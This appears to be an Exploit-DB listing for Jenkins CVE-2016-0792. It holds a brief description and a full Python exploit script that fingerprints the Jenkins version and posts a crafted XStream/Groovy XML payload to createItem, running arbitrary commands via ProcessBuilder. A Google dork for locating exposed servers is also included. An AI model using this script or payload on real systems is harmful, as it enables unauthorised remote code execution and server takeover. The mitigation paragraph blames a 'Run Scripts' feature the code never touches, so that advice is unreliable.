Jenkins CVE-2016-0792 Deserialization Remote Exploit

This exploit allows an attacker to execute arbitrary code on a vulnerable Jenkins server. It is based on the CVE-2016-0792 vulnerability, which is a deserialization vulnerability in Jenkins. The exploit works by sending a specially crafted payload to the Jenkins server, which is then deserialized and executed. The payload contains a command that is executed on the server, allowing the attacker to gain access to the server.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of Jenkins. Additionally, it is recommended to disable the “Run Scripts” feature in Jenkins, as this is the feature that is vulnerable to this exploit.

Source

Exploit-DB raw data:

import random
import string
from decimal import Decimal

import requests
from requests.exceptions import RequestException

# Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit
# Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins"
# Date: 30-07-2017
# Exploit Author: Janusz Piechówka
# Github: https://github.com/jpiechowka/jenkins-cve-2016-0792
# Vendor Homepage: https://jenkins.io/
# Version: Versions before 1.650 and LTS before 1.642.2
# Tested on: Debian
# CVE : CVE-2016-0792


def prepare_payload(command):
    splitCommand = command.split()
    preparedCommands = ''

    for entry in splitCommand:
        preparedCommands += f'<string>{entry}</string>'

    xml = f'''
        <map>
          <entry>
            <groovy.util.Expando>
              <expandoProperties>
                <entry>
                  <string>hashCode</string>
                  <org.codehaus.groovy.runtime.MethodClosure>
                    <delegate class="groovy.util.Expando"/>
                    <owner class="java.lang.ProcessBuilder">
                      <command>{preparedCommands}</command>
                    </owner>
                    <method>start</method>
                  </org.codehaus.groovy.runtime.MethodClosure>
                </entry>
              </expandoProperties>
            </groovy.util.Expando>
            <int>1</int>
          </entry>
        </map>'''

    return xml


def exploit(url, command):
    print(f'[*] STARTING')
    try:
        print(f'[+] Trying to exploit Jenkins running at address: {url}')
        # Perform initial URL check to see if server is online and returns correct response code using HEAD request
        headResponse = requests.head(url, timeout=30)
        if headResponse.status_code == requests.codes.ok:
            print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}')
            # Check if X-Jenkins header containing version is present then proceed
            jenkinsVersionHeader = headResponse.headers.get('X-Jenkins')
            if jenkinsVersionHeader is not None:
                # Strip version after second dot from header to perform conversion to Decimal
                stripCharacter = "."
                strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2])
                # Perform basic version check
                if Decimal(strippedVersion) < 1.650:
                    print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE')
                    # Prepare payload
                    payload = prepare_payload(command)
                    # Prepare POST url
                    randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))
                    if url.endswith('/'):
                        postUrl = f'{url}createItem?name={randomJobName}'
                    else:
                        postUrl = f'{url}/createItem?name={randomJobName}'
                    print(f'[+] Will POST to {postUrl}')
                    # Try to execute passed command
                    postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'})
                    print(f'[+] Exploit launched ')
                    # 500 response code is ok here
                    print(f'[+] Response code: {postResponse.status_code} ')
                    if postResponse.status_code == 500:
                        print('[+] SUCCESS')
                    else:
                        print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED')
                else:
                    print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable')
            else:
                print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}')
        else:
            print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}')
    except RequestException as ex:
        print(f'[-] [ERROR] Request exception: {ex}')
    print('[*] FINISHED')